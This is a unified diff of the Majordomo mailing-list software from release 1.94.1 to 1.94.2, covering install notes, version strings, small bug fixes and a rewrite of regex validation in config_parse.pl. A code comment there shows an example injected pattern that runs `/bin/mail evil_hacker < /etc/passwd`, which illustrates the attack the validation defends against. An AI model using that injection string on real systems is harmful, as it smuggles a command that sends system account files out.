Common subdirectories: ./Doc and ../majordomo-1.94.2#4/Doc diff -u ./INSTALL ../majordomo-1.94.2#4/INSTALL --- ./INSTALL Tue Mar 11 11:19:33 1997 +++ ../majordomo-1.94.2#4/INSTALL Sun Apr 20 18:10:30 1997 @@ -2,7 +2,7 @@ |\/| |__| | | | |__/ | \ | | |\/| | | | | | | _| |__| | \ |__/ |__| | | |__| - Release 1.94.1 + Release 1.94.2 INSTALL -------------------------------------------------------------------------- @@ -25,17 +25,19 @@ be a "trusted" user as far as Sendmail is concerned (i.e., the user name needs to appear on a "T" line in your sendmail.cf file). -2) Choose a directory for Majordomo to install under. +2) Choose a directory for Majordomo to install into. This must _NOT_ + be the same directory you untarred the Majordomo files into or a + symbolic link to it. 3) Edit the Makefile, defining where Perl and the C compiler are, the - Majordomo home directory, the location of the manual pages, the user and - group that Majordomo will run under, and the permissions for the various - files and directories. - If running on a non-POSIX system, comment out the POSIX SECTION in the - Makefile. Under POSIX, wrapper must be setuid "root", even if the - programs will be running as something other than "root" (i.e., - "daemon"), or it won't work. The symptom of this is that Perl starts - bitching about security violations and "unsafe usages". + Majordomo home directory (chosen in step 2), the location of the + manual pages, the user and group that Majordomo will run under, and + the permissions for the various files and directories. If running on + a non-POSIX system, comment out the POSIX SECTION in the Makefile. + Under POSIX, wrapper must be setuid "root", even if the programs will + be running as something other than "root" (i.e., "daemon"), or it + won't work. The symptom of this is that Perl starts complaining about + security violations and "unsafe usages". 4) Edit majordomo.cf. diff -u ./README ../majordomo-1.94.2#4/README --- ./README Mon Apr 7 20:56:56 1997 +++ ../majordomo-1.94.2#4/README Sun Apr 20 18:10:39 1997 @@ -8,7 +8,7 @@ Medieval Latin "major domus" - "chief of the house". (Barnhart Concise Dictionary of Etymology) - Release 1.94.1 + Release 1.94.2 README -------------------------------------------------------------------------- @@ -24,9 +24,9 @@ -> upgrading will point out the variables you need to add. <- - Release 1.94.1 of Majordomo is primarily a bugfix release, + Release 1.94.2 of Majordomo is primarily a bugfix release, incorporating changes which fix problems or correct pressing - deficiencies in version 1.94. No substantial new + deficiencies in version 1.94.1. No substantial new functionality has been added, but certain necessary modifications have been made. @@ -192,7 +192,7 @@ While this chapter is a good introduction to setting up the majordomo software, it is a tad out of date, since it covers version 1.62. :-( Jerry -is in the process of updating this for 1.94.1, and an updated version will +is in the process of updating this for 1.94.2, and an updated version will hopefully be included in future releases. The original LISA 6 (Oct 1992, Long Beach, CA) paper describing diff -u ./config_parse.pl ../majordomo-1.94.2#4/config_parse.pl --- ./config_parse.pl Mon Mar 10 18:19:54 1997 +++ ../majordomo-1.94.2#4/config_parse.pl Sun Apr 20 18:06:58 1997 @@ -5,7 +5,7 @@ # writes into the global variable %main'config_opts # -# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.62 1997/03/10 17:19:54 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.63 1997/04/20 16:06:58 cwilson Exp $ # $Modified: Tue Dec 17 19:29:14 1996 by cwilson $ # this array holds the interesting info for use by all tools @@ -1088,16 +1088,22 @@ # m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy: # END # - elsif (($re =~ m:^((/)|m([^\w\s])): , $dlm=($2||$3)) && - $re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$: ){ + elsif ($re !~ m:^((/)|m([^\w\s])):) { push(@re_errors, "|$re| not a valid pattern match expression at line $.\n"); - } - elsif (eval "'' =~ $re", $@) { - push(@re_errors, $@); - } - else { - push(@return_re, $re); + } + else { + $dlm=($2||$3); + if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + elsif (eval "'' =~ $re", $@) { + push(@re_errors, $@); + } + else { + push(@return_re, $re); + } } } Common subdirectories: ./contrib and ../majordomo-1.94.2#4/contrib Common subdirectories: ./include and ../majordomo-1.94.2#4/include diff -u ./majordomo ../majordomo-1.94.2#4/majordomo --- ./majordomo Wed Apr 2 13:31:15 1997 +++ ../majordomo-1.94.2#4/majordomo Sun Apr 20 18:11:49 1997 @@ -1,5 +1,5 @@ #!/bin/perl -# $Modified: Wed Apr 2 13:30:32 1997 by cwilson $ +# $Modified: Sun Apr 20 18:10:00 1997 by cwilson $ # majordomo: a person who speaks, makes arrangements, or takes charge # for another. @@ -8,8 +8,8 @@ # usage rights. # # $Source: /sources/cvsrepos/majordomo/majordomo,v $ -# $Revision: 1.85 $ -# $Date: 1997/04/02 11:31:15 $ +# $Revision: 1.87 $ +# $Date: 1997/04/20 16:11:49 $ # $Author: cwilson $ # $State: Exp $ # @@ -1205,6 +1205,7 @@ $list = $_; $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); @@ -1621,7 +1622,7 @@ To contact the owner of a specific list, send mail to that list's approval address, which is formed by adding "-approval" to the user-name portion of the list's address. For instance, to contact the list owner -for demo-list\@$whereami, you would send mail to $list-approval\@$whereami. +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. To get another copy of this help message, send mail to $whoami with a line saying diff -u ./majordomo_version.pl ../majordomo-1.94.2#4/majordomo_version.pl --- ./majordomo_version.pl Mon Apr 7 20:59:16 1997 +++ ../majordomo-1.94.2#4/majordomo_version.pl Sun Apr 20 18:48:22 1997 @@ -1,5 +1,5 @@ -# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.21 1997/04/07 18:59:16 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.23 1997/04/20 16:48:22 cwilson Exp $ -$majordomo_version = "1.94.2_spin3"; +$majordomo_version = "1.94.2_spin4"; 1; Common subdirectories: ./md-sub and ../majordomo-1.94.2#4/md-sub diff -u ./medit ../majordomo-1.94.2#4/medit --- ./medit Mon Dec 9 17:50:17 1996 +++ ../majordomo-1.94.2#4/medit Sun Apr 20 18:25:08 1997 @@ -6,8 +6,8 @@ # permission only. # # $Source: /sources/cvsrepos/majordomo/medit,v $ -# $Revision: 1.7 $ -# $Date: 1996/12/09 16:50:17 $ +# $Revision: 1.8 $ +# $Date: 1997/04/20 16:25:08 $ # $Author: cwilson $ # $State: Exp $ # @@ -35,7 +35,7 @@ # Here's where the fun begins... -chdir "$listdir" || &die("cannot access $listdir"); +defined($listdir) && chdir "$listdir" || die("can't access \$listdir $listdir"); $editor = $ENV{"EDITOR"} || "vi"; Only in ../majordomo-1.94.2#4: regress Only in .: wrapper